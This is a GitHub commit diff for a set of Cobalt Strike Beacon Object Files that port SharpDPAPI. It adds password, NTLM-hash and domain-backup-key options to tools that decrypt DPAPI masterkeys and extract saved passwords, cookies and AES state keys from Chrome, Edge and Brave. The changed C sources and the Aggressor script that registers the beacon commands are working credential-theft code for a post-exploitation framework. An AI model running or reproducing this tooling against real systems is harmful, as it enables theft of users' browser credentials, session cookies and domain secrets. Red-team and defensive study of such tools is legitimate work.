Skip to content

Commit 3bfd8c6

Browse files
bhanunamikzebhanunamikze
authored andcommitted
feat: close feature parity gaps — add missing args to blob, ps, chrome, masterkeys, search BOFs
- blob.c: add /pvk, /password, /ntlm args for masterkey triage before blob decryption - ps.c: add /password, /ntlm args for masterkey triage - chrome_logins.c, chrome_cookies.c, chrome_statekeys.c: add /password, /ntlm, /browser, /showall args - masterkeys.c: add /sid arg for remote password-based masterkey decryption - search.c: add /type, /maxBytes, /showErrors args matching SharpDPAPI - dpapi.cna: updated all bof_pack format strings and usage strings All 19 BOFs compile cleanly, all under 300KB.
1 parent eac8287 commit 3bfd8c6

File tree

8 files changed

+150
-55
lines changed

8 files changed

+150
-55
lines changed

dpapi.cna

Lines changed: 40 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,8 @@ sub _parse_args {
3636
%result["machine"] = "1";
3737
} else if ($arg eq "/nowrap") {
3838
%result["nowrap"] = "1";
39+
} else if ($arg eq "/showErrors") {
40+
%result["showErrors"] = "1";
3941
}
4042
}
4143
return %result;
@@ -55,13 +57,14 @@ alias masterkeys {
5557
%args = _parse_args(substr($0, 11));
5658

5759
$data = _load_bof("masterkeys");
58-
$args = bof_pack($bid, "zzzzzzii",
60+
$args = bof_pack($bid, "zzzzzzzii",
5961
_str_or_empty(%args["pvk"]),
6062
_str_or_empty(%args["password"]),
6163
_str_or_empty(%args["ntlm"]),
6264
_str_or_empty(%args["credkey"]),
6365
_str_or_empty(%args["target"]),
6466
_str_or_empty(%args["server"]),
67+
_str_or_empty(%args["sid"]),
6568
iff(%args["rpc"] eq "1", 1, 0),
6669
iff(%args["hashes"] eq "1", 1, 0)
6770
);
@@ -71,7 +74,7 @@ alias masterkeys {
7174
beacon_command_register(
7275
"masterkeys",
7376
"Triage user DPAPI masterkeys",
74-
"Usage: masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/target:PATH] [/server:DC] [/rpc] [/hashes]"
77+
"Usage: masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/target:PATH] [/server:DC] [/sid:SID] [/rpc] [/hashes]"
7578
);
7679

7780
# ============================================================
@@ -137,8 +140,11 @@ alias blob {
137140
%args = _parse_args(substr($0, 5));
138141

139142
$data = _load_bof("blob");
140-
$args = bof_pack($bid, "zzii",
143+
$args = bof_pack($bid, "zzzzzii",
141144
_str_or_empty(%args["target"]),
145+
_str_or_empty(%args["pvk"]),
146+
_str_or_empty(%args["password"]),
147+
_str_or_empty(%args["ntlm"]),
142148
_str_or_empty(%args["credkey"]),
143149
iff(%args["unprotect"] eq "1", 1, 0),
144150
iff(%args["rpc"] eq "1", 1, 0)
@@ -149,7 +155,7 @@ alias blob {
149155
beacon_command_register(
150156
"blob",
151157
"Describe/decrypt a raw DPAPI blob",
152-
"Usage: blob /target:BASE64_BLOB [/credkey:KEY] [/unprotect] [/rpc]"
158+
"Usage: blob /target:BASE64_BLOB [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/unprotect] [/rpc]"
153159
);
154160

155161
# ============================================================
@@ -267,9 +273,11 @@ alias ps {
267273
%args = _parse_args(substr($0, 3));
268274

269275
$data = _load_bof("ps");
270-
$args = bof_pack($bid, "zzzii",
276+
$args = bof_pack($bid, "zzzzzii",
271277
_str_or_empty(%args["target"]),
272278
_str_or_empty(%args["pvk"]),
279+
_str_or_empty(%args["password"]),
280+
_str_or_empty(%args["ntlm"]),
273281
_str_or_empty(%args["credkey"]),
274282
iff(%args["unprotect"] eq "1", 1, 0),
275283
iff(%args["rpc"] eq "1", 1, 0)
@@ -280,7 +288,7 @@ alias ps {
280288
beacon_command_register(
281289
"ps",
282290
"Decrypt PowerShell PSCredential / SecureString files",
283-
"Usage: ps /target:FILE [/pvk:BASE64] [/credkey:KEY] [/unprotect] [/rpc]"
291+
"Usage: ps /target:FILE [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/unprotect] [/rpc]"
284292
);
285293

286294
# ============================================================
@@ -342,20 +350,23 @@ alias search {
342350
%args = _parse_args(substr($0, 7));
343351

344352
$data = _load_bof("search");
345-
$args = bof_pack($bid, "zzzzz",
353+
$args = bof_pack($bid, "zzzzzzii",
346354
_str_or_empty(%args["target"]),
347355
_str_or_empty(%args["server"]),
348356
_str_or_empty(%args["pattern"]),
349357
_str_or_empty(%args["pvk"]),
350-
_str_or_empty(%args["credkey"])
358+
_str_or_empty(%args["credkey"]),
359+
_str_or_empty(%args["type"]),
360+
iff(%args["maxBytes"] ne "", int(%args["maxBytes"]), 0),
361+
iff(%args["showErrors"] eq "1", 1, 0)
351362
);
352363
beacon_inline_execute($bid, $data, "go", $args);
353364
}
354365

355366
beacon_command_register(
356367
"search",
357368
"Search for files containing DPAPI blobs",
358-
"Usage: search [/target:PATH] [/server:DC] [/pattern:REGEX] [/pvk:BASE64] [/credkey:KEY]"
369+
"Usage: search [/target:PATH] [/server:DC] [/pattern:REGEX] [/pvk:BASE64] [/credkey:KEY] [/type:TYPE] [/maxBytes:N] [/showErrors]"
359370
);
360371

361372
# ============================================================
@@ -388,22 +399,26 @@ alias chrome_logins {
388399
%args = _parse_args(substr($0, 14));
389400

390401
$data = _load_bof("chrome_logins");
391-
$args = bof_pack($bid, "zzzzzii",
402+
$args = bof_pack($bid, "zzzzzzzziii",
392403
_str_or_empty(%args["pvk"]),
404+
_str_or_empty(%args["password"]),
405+
_str_or_empty(%args["ntlm"]),
393406
_str_or_empty(%args["credkey"]),
394407
_str_or_empty(%args["server"]),
395408
_str_or_empty(%args["target"]),
396409
_str_or_empty(%args["statekey"]),
410+
_str_or_empty(%args["browser"]),
397411
iff(%args["unprotect"] eq "1", 1, 0),
412+
iff(%args["showall"] eq "1", 1, 0),
398413
iff(%args["rpc"] eq "1", 1, 0)
399414
);
400415
beacon_inline_execute($bid, $data, "go", $args);
401416
}
402417

403418
beacon_command_register(
404419
"chrome_logins",
405-
"Extract Chrome/Edge saved passwords",
406-
"Usage: chrome_logins [/pvk:BASE64] [/credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/unprotect] [/rpc]"
420+
"Extract Chrome/Edge/Brave saved passwords",
421+
"Usage: chrome_logins [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X] [/unprotect] [/showall] [/rpc]"
407422
);
408423

409424
alias chrome_cookies {
@@ -412,24 +427,28 @@ alias chrome_cookies {
412427
%args = _parse_args(substr($0, 15));
413428

414429
$data = _load_bof("chrome_cookies");
415-
$args = bof_pack($bid, "zzzzzzzii",
430+
$args = bof_pack($bid, "zzzzzzzzzziii",
416431
_str_or_empty(%args["pvk"]),
432+
_str_or_empty(%args["password"]),
433+
_str_or_empty(%args["ntlm"]),
417434
_str_or_empty(%args["credkey"]),
418435
_str_or_empty(%args["server"]),
419436
_str_or_empty(%args["target"]),
420437
_str_or_empty(%args["statekey"]),
438+
_str_or_empty(%args["browser"]),
421439
_str_or_empty(%args["cookie"]),
422440
_str_or_empty(%args["url"]),
423441
iff(%args["unprotect"] eq "1", 1, 0),
442+
iff(%args["showall"] eq "1", 1, 0),
424443
iff(%args["rpc"] eq "1", 1, 0)
425444
);
426445
beacon_inline_execute($bid, $data, "go", $args);
427446
}
428447

429448
beacon_command_register(
430449
"chrome_cookies",
431-
"Extract Chrome/Edge cookies",
432-
"Usage: chrome_cookies [/pvk:BASE64] [/credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/cookie:REGEX] [/url:REGEX] [/unprotect] [/rpc]"
450+
"Extract Chrome/Edge/Brave cookies",
451+
"Usage: chrome_cookies [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X] [/cookie:REGEX] [/url:REGEX] [/unprotect] [/showall] [/rpc]"
433452
);
434453

435454
alias chrome_statekeys {
@@ -438,11 +457,14 @@ alias chrome_statekeys {
438457
%args = _parse_args(substr($0, 17));
439458

440459
$data = _load_bof("chrome_statekeys");
441-
$args = bof_pack($bid, "zzzzii",
460+
$args = bof_pack($bid, "zzzzzzzii",
442461
_str_or_empty(%args["pvk"]),
462+
_str_or_empty(%args["password"]),
463+
_str_or_empty(%args["ntlm"]),
443464
_str_or_empty(%args["credkey"]),
444465
_str_or_empty(%args["server"]),
445466
_str_or_empty(%args["target"]),
467+
_str_or_empty(%args["browser"]),
446468
iff(%args["unprotect"] eq "1", 1, 0),
447469
iff(%args["rpc"] eq "1", 1, 0)
448470
);
@@ -451,6 +473,6 @@ alias chrome_statekeys {
451473

452474
beacon_command_register(
453475
"chrome_statekeys",
454-
"Extract Chrome/Edge Local State AES keys",
455-
"Usage: chrome_statekeys [/pvk:BASE64] [/credkey:KEY] [/server:DC] [/target:PATH] [/unprotect] [/rpc]"
476+
"Extract Chrome/Edge/Brave Local State AES keys",
477+
"Usage: chrome_statekeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/server:DC] [/target:PATH] [/browser:X] [/unprotect] [/rpc]"
456478
);

src/bofs/blob.c

Lines changed: 23 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22
* blob.c — BOF for describing/decrypting a raw DPAPI blob
33
*
44
* Usage:
5-
* blob /target:BASE64_BLOB [/credkey:KEY] [/unprotect] [/rpc]
5+
* blob /target:BASE64_BLOB [/pvk:BASE64] [/password:PASS] [/ntlm:HASH]
6+
* [/credkey:KEY] [/unprotect] [/rpc]
67
*
78
* Parses and optionally decrypts a DPAPI blob.
89
*/
@@ -17,12 +18,17 @@ void go(char* args, int args_len) {
1718
BeaconDataParse(&parser, args, args_len);
1819

1920
char* blob_b64 = BeaconDataExtract(&parser, NULL);
21+
char* pvk_b64 = BeaconDataExtract(&parser, NULL);
22+
char* password = BeaconDataExtract(&parser, NULL);
23+
char* ntlm = BeaconDataExtract(&parser, NULL);
2024
char* credkey = BeaconDataExtract(&parser, NULL);
2125
int unprotect = BeaconDataInt(&parser);
2226
int use_rpc = BeaconDataInt(&parser);
2327

2428
if (!blob_b64 || strlen(blob_b64) == 0) {
25-
BeaconPrintf(CALLBACK_ERROR, "[!] Usage: blob /target:BASE64_BLOB [/credkey:KEY] [/unprotect]\n");
29+
BeaconPrintf(CALLBACK_ERROR,
30+
"[!] Usage: blob /target:BASE64_BLOB [/pvk:BASE64] [/password:PASS] "
31+
"[/ntlm:HASH] [/credkey:KEY] [/unprotect] [/rpc]\n");
2632
return;
2733
}
2834

@@ -34,6 +40,12 @@ void go(char* args, int args_len) {
3440
return;
3541
}
3642

43+
/* Decode PVK if provided */
44+
BYTE* pvk = NULL;
45+
int pvk_len = 0;
46+
if (pvk_b64 && strlen(pvk_b64) > 0)
47+
pvk = base64_decode(pvk_b64, &pvk_len);
48+
3749
MASTERKEY_CACHE cache;
3850
mk_cache_init(&cache);
3951

@@ -61,10 +73,14 @@ void go(char* args, int args_len) {
6173
}
6274
}
6375

64-
/* If /rpc, triage masterkeys via domain controller */
65-
if (use_rpc) {
66-
triage_user_masterkeys(&cache, NULL, 0,
67-
NULL, NULL, NULL, TRUE, NULL, NULL, FALSE, NULL);
76+
/* Triage masterkeys if pvk/password/ntlm/rpc provided */
77+
if (pvk || use_rpc ||
78+
(password && strlen(password) > 0) ||
79+
(ntlm && strlen(ntlm) > 0)) {
80+
triage_user_masterkeys(&cache, pvk, pvk_len,
81+
(password && strlen(password) > 0) ? password : NULL,
82+
(ntlm && strlen(ntlm) > 0) ? ntlm : NULL,
83+
NULL, (BOOL)use_rpc, NULL, NULL, FALSE, NULL);
6884
}
6985

7086
BeaconPrintf(CALLBACK_OUTPUT, "\n=== SharpDPAPI Blob Describe (BOF) ===\n");
@@ -75,5 +91,6 @@ void go(char* args, int args_len) {
7591
NULL);
7692

7793
mk_cache_free(&cache);
94+
if (pvk) intFree(pvk);
7895
intFree(blob_data);
7996
}

src/bofs/chrome_cookies.c

Lines changed: 19 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,12 @@
22
* chrome_cookies.c — BOF for Chrome cookie extraction
33
*
44
* Usage:
5-
* chrome_cookies [/pvk:BASE64] [/credkey:KEY] [/server:SERVER]
6-
* [/target:PATH] [/unprotect] [/statekey:HEX]
7-
* [/cookie:REGEX] [/url:REGEX] [/rpc]
5+
* chrome_cookies [/pvk:BASE64] [/password:PASS] [/ntlm:HASH]
6+
* [/credkey:KEY] [/server:SERVER] [/target:PATH]
7+
* [/statekey:HEX] [/browser:X] [/cookie:REGEX]
8+
* [/url:REGEX] [/unprotect] [/showall] [/rpc]
89
*
9-
* Decrypts Chrome/Edge cookies from Cookie database files.
10+
* Decrypts Chrome/Edge/Brave/Slack cookies from Cookie database files.
1011
*/
1112
#include "beacon.h"
1213
#include "bofdefs.h"
@@ -19,13 +20,17 @@ void go(char* args, int args_len) {
1920
BeaconDataParse(&parser, args, args_len);
2021

2122
char* pvk_b64 = BeaconDataExtract(&parser, NULL);
23+
char* password = BeaconDataExtract(&parser, NULL);
24+
char* ntlm = BeaconDataExtract(&parser, NULL);
2225
char* credkey = BeaconDataExtract(&parser, NULL);
2326
char* server_str = BeaconDataExtract(&parser, NULL);
2427
char* target_str = BeaconDataExtract(&parser, NULL);
2528
char* statekey_hex = BeaconDataExtract(&parser, NULL);
29+
char* browser = BeaconDataExtract(&parser, NULL);
2630
char* cookie_regex = BeaconDataExtract(&parser, NULL);
2731
char* url_regex = BeaconDataExtract(&parser, NULL);
2832
int unprotect = BeaconDataInt(&parser);
33+
int showall = BeaconDataInt(&parser);
2934
int use_rpc = BeaconDataInt(&parser);
3035

3136
BYTE* pvk = NULL;
@@ -43,6 +48,10 @@ void go(char* args, int args_len) {
4348
if (statekey_hex && strlen(statekey_hex) > 0)
4449
state_key = hex_to_bytes(statekey_hex, &sk_len);
4550

51+
/* Note: browser/showall args reserved for future use */
52+
(void)browser;
53+
(void)showall;
54+
4655
MASTERKEY_CACHE cache;
4756
mk_cache_init(&cache);
4857

@@ -70,9 +79,13 @@ void go(char* args, int args_len) {
7079
}
7180
}
7281

73-
if (pvk || use_rpc) {
82+
if (pvk || use_rpc ||
83+
(password && strlen(password) > 0) ||
84+
(ntlm && strlen(ntlm) > 0)) {
7485
triage_user_masterkeys(&cache, pvk, pvk_len,
75-
NULL, NULL, NULL, (BOOL)use_rpc, NULL, server, FALSE, NULL);
86+
(password && strlen(password) > 0) ? password : NULL,
87+
(ntlm && strlen(ntlm) > 0) ? ntlm : NULL,
88+
NULL, (BOOL)use_rpc, NULL, server, FALSE, NULL);
7689
}
7790

7891
BeaconPrintf(CALLBACK_OUTPUT, "\n=== SharpDPAPI Chrome Cookies (BOF) ===\n");

src/bofs/chrome_logins.c

Lines changed: 25 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,12 @@
22
* chrome_logins.c — BOF for Chrome saved password extraction
33
*
44
* Usage:
5-
* chrome_logins [/pvk:BASE64] [/credkey:KEY] [/server:SERVER]
6-
* [/target:PATH] [/unprotect] [/statekey:HEX]
7-
* [/rpc]
5+
* chrome_logins [/pvk:BASE64] [/password:PASS] [/ntlm:HASH]
6+
* [/credkey:KEY] [/server:SERVER] [/target:PATH]
7+
* [/statekey:HEX] [/browser:X] [/unprotect]
8+
* [/showall] [/rpc]
89
*
9-
* Decrypts Chrome/Edge saved passwords from Login Data files.
10+
* Decrypts Chrome/Edge/Brave/Slack saved passwords from Login Data files.
1011
*/
1112
#include "beacon.h"
1213
#include "bofdefs.h"
@@ -18,13 +19,17 @@ void go(char* args, int args_len) {
1819
datap parser;
1920
BeaconDataParse(&parser, args, args_len);
2021

21-
char* pvk_b64 = BeaconDataExtract(&parser, NULL);
22-
char* credkey = BeaconDataExtract(&parser, NULL);
23-
char* server_str = BeaconDataExtract(&parser, NULL);
24-
char* target_str = BeaconDataExtract(&parser, NULL);
22+
char* pvk_b64 = BeaconDataExtract(&parser, NULL);
23+
char* password = BeaconDataExtract(&parser, NULL);
24+
char* ntlm = BeaconDataExtract(&parser, NULL);
25+
char* credkey = BeaconDataExtract(&parser, NULL);
26+
char* server_str = BeaconDataExtract(&parser, NULL);
27+
char* target_str = BeaconDataExtract(&parser, NULL);
2528
char* statekey_hex = BeaconDataExtract(&parser, NULL);
26-
int unprotect = BeaconDataInt(&parser);
27-
int use_rpc = BeaconDataInt(&parser);
29+
char* browser = BeaconDataExtract(&parser, NULL);
30+
int unprotect = BeaconDataInt(&parser);
31+
int showall = BeaconDataInt(&parser);
32+
int use_rpc = BeaconDataInt(&parser);
2833

2934
BYTE* pvk = NULL;
3035
int pvk_len = 0;
@@ -41,6 +46,10 @@ void go(char* args, int args_len) {
4146
if (statekey_hex && strlen(statekey_hex) > 0)
4247
state_key = hex_to_bytes(statekey_hex, &sk_len);
4348

49+
/* Note: browser arg reserved for future use — currently Chrome paths */
50+
(void)browser;
51+
(void)showall;
52+
4453
MASTERKEY_CACHE cache;
4554
mk_cache_init(&cache);
4655

@@ -68,9 +77,13 @@ void go(char* args, int args_len) {
6877
}
6978
}
7079

71-
if (pvk || use_rpc) {
80+
if (pvk || use_rpc ||
81+
(password && strlen(password) > 0) ||
82+
(ntlm && strlen(ntlm) > 0)) {
7283
triage_user_masterkeys(&cache, pvk, pvk_len,
73-
NULL, NULL, NULL, (BOOL)use_rpc, NULL, server, FALSE, NULL);
84+
(password && strlen(password) > 0) ? password : NULL,
85+
(ntlm && strlen(ntlm) > 0) ? ntlm : NULL,
86+
NULL, (BOOL)use_rpc, NULL, server, FALSE, NULL);
7487
}
7588

7689
BeaconPrintf(CALLBACK_OUTPUT, "\n=== SharpDPAPI Chrome Logins (BOF) ===\n");

0 commit comments

Comments
 (0)